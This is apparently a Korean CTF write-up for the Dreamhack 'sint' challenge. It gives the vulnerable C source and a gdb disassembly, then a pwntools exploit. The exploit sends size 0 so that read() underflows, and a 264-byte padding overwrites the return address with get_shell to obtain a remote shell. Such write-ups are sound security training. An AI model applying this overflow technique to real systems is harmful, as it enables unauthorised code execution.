본문 바로가기
시스템 해킹/드림핵

[Dreamhack] sint

by L3m0n S0ju 2021. 7. 15.


 

 

 

 

 

문제에서 주어진 코드는 아래와 같다.

 

sint.c


#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell()
{
    system("/bin/sh");
}

int main()
{
    char buf[256];
    int size;

    initialize();

    signal(SIGSEGV, get_shell);

    printf("Size: ");
    scanf("%d", &size);

    if (size > 256 || size < 0)
    {
        printf("Buffer Overflow!\n");
        exit(0);
    }

    printf("Data: ");
    read(0, buf, size - 1);

    return 0;
}

 


main 함수를 살펴보면 중간에 if (size > 256 || size < 0)인 경우에는 프로그램이 종료된다. 그리고 size-1 은 이후 read 함수에서 사용됩니다. CTF 문제에 경험이 있다면 size에 0을 넣으면 size-1은 음수가 되는데 어떻게 될까? 라는 생각이 하게 됩니다. 결론은 read 함수에 -1 만큼 읽으라고 요구하면 아주 큰 값이 되어버려서 원하는 만큼 스택 공간을 사용할 수 있다.

 

 

 

gdb-peda


gdb-peda$ disas main
Dump of assembler code for function main:
   0x0804866c <+0>:     push   ebp
   0x0804866d <+1>:     mov    ebp,esp
   0x0804866f <+3>:     sub    esp,0x104
   0x08048675 <+9>:     call   0x8048612 <initialize>
   0x0804867a <+14>:    push   0x8048659
   0x0804867f <+19>:    push   0xb
   0x08048681 <+21>:    call   0x8048470 <signal@plt>
   0x08048686 <+26>:    add    esp,0x8
   0x08048689 <+29>:    push   0x80487a1
   0x0804868e <+34>:    call   0x8048460 <printf@plt>
   0x08048693 <+39>:    add    esp,0x4
   0x08048696 <+42>:    lea    eax,[ebp-0x104]
   0x0804869c <+48>:    push   eax
   0x0804869d <+49>:    push   0x80487a8
   0x080486a2 <+54>:    call   0x80484e0 <__isoc99_scanf@plt>
   0x080486a7 <+59>:    add    esp,0x8
   0x080486aa <+62>:    mov    eax,DWORD PTR [ebp-0x104]
   0x080486b0 <+68>:    cmp    eax,0x100
   0x080486b5 <+73>:    jg     0x80486c1 <main+85>
   0x080486b7 <+75>:    mov    eax,DWORD PTR [ebp-0x104]
   0x080486bd <+81>:    test   eax,eax
   0x080486bf <+83>:    jns    0x80486d5 <main+105>
   0x080486c1 <+85>:    push   0x80487ab
   0x080486c6 <+90>:    call   0x8048490 <puts@plt>
   0x080486cb <+95>:    add    esp,0x4
   0x080486ce <+98>:    push   0x0
   0x080486d0 <+100>:   call   0x80484b0 <exit@plt>
   0x080486d5 <+105>:   push   0x80487bc
   0x080486da <+110>:   call   0x8048460 <printf@plt>
   0x080486df <+115>:   add    esp,0x4
   0x080486e2 <+118>:   mov    eax,DWORD PTR [ebp-0x104]
   0x080486e8 <+124>:   sub    eax,0x1
   0x080486eb <+127>:   push   eax
   0x080486ec <+128>:   lea    eax,[ebp-0x100]
   0x080486f2 <+134>:   push   eax
   0x080486f3 <+135>:   push   0x0
   0x080486f5 <+137>:   call   0x8048450 <read@plt>
   0x080486fa <+142>:   add    esp,0xc
   0x080486fd <+145>:   mov    eax,0x0
   0x08048702 <+150>:   leave  
   0x08048703 <+151>:   ret    
End of assembler dump.


 

gdb 결과를 보면 아래와 같은 스택 구조인 것을 볼 수 있다. 처음에 [0x0804866f <+3>: sub esp,0x104] 어셈블리어를 관찰하면 buf는 spf에서 0x104(260)만큼 떨어져있다. 따라서 여기에 spf 크기를 더해서 264크기 만큼의 페이로드를 전송하면 main ret를 get_shell 함수로 덮을 수 있고 쉘을 획득하여 플래그를 얻을 수 있다.

 

 

|       main ret       | high

|       main spf       |

|           . . .          |

|         buf           | low

 

 

 

 

exploit.py


from pwn import *

#r=process('./basic_rop_x86')
r=remote("host1.dreamhack.games",21791)
e=ELF('./sint')
context.log_level='debug'

def main():   

    r.recvuntil("Size: ")
    r.sendline("0")
    r.recvuntil("Data: ")
    payload=b"a"*264
    payload += p32(e.symbols['get_shell'])
    r.send(payload)
    r.interactive()
 
if __name__ == '__main__':
    main()


익스플로잇 코드는 위와 같다. Size라는 문자열을 받으면 0을 입력하고 Data라는 문자열을 받으면 페이로드를 전송하고 쉘을 탈취한다.

 

 

 

플래그

'시스템 해킹 > 드림핵' 카테고리의 다른 글

[Dreamhack] out_of_bound  (0) 2021.07.18
[Dreamhack] basic_exploitation_002  (0) 2021.07.17
[Dreamhack] basic_exploitation_003  (0) 2021.05.22
[Dreamhack] oneshot  (0) 2021.05.11
[Dreamhack] Off_by_one_001  (0) 2021.05.07

댓글